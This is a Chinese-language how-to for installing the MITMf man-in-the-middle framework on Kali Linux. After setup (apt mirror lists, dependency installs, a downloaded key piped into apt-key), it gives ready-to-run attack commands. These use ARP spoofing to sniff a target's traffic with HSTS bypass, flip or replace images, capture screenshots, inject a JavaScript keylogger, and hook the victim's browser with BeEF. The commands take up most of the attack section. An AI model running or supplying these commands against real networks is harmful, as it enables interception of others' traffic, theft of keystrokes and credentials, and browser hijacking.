mitmf 框架安装和使用

配置kali源

vim /etc/apt/sources.list
中科大
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
阿里云
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
清华大学
deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
浙大
deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
东软大学
deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
deb-src http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
官方源
deb http://http.kali.org/kali kali-rolling main non-free contrib
deb-src http://http.kali.org/kali kali-rolling main non-free contrib
重庆大学
deb http://http.kali.org/kali kali-rolling main non-free contrib
deb-src http://http.kali.org/kali kali-rolling main non-free contrib

wget -q -O - https://archive.kali.org/archive-key.asc | apt-key add
apt-get update && apt-get upgrade && apt-get clean 

安装mitmf

环境介绍：
kali 2019-04
python 2.7

安装依赖

apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxslt1-dev libcapstone3 libcapstone-dev libffi-dev file
apt-get install libxml2-dev 
# 如果报错，可以自行百度更换源

克隆源代码

git clone https://github.com/byt3bl33d3r/MITMf
cd MITMf && git submodule init && git submodule update --recursive
pip install -r requirements.txt

安装 twisted

安装 twisted是为了完善功能

wget http://twistedmatrix.com/Releases/Twisted/15.5/Twisted-15.5.0.tar.bz2
pip install ./Twisted-15.5.0.tar.bz2

渗透测试

数据包嗅探

python mitmf.py -i eth0 --hsts --spoof --arp --gateway 网关 --target 渗透ip

恶搞（图片调转180度）

 ./mitmf.py --spoof --arp -i eth0 --gateway 网关 --target 渗透ip --upsidedownternet

图片替换

./mitmf.py --spoof --arp -i eth0 --gateway 网关 --target 渗透ip --imgrand --img-dir /root/MITMf/Photo      

屏幕截图

mitmf.py -i eth0 --spoof --arp --gateway 网关 --target 渗透ip --screen

键盘获取

./mitmf.py --spoof --arp -i eth0 --gateway 网关 --target 渗透ip --jskeylogger

与beef结合使用

./mitmf.py --spoof --arp -i eth0 --gateway 网关 --target 渗透ip --inject --js-url h
ttp://127.0.0.1:3000/hook.js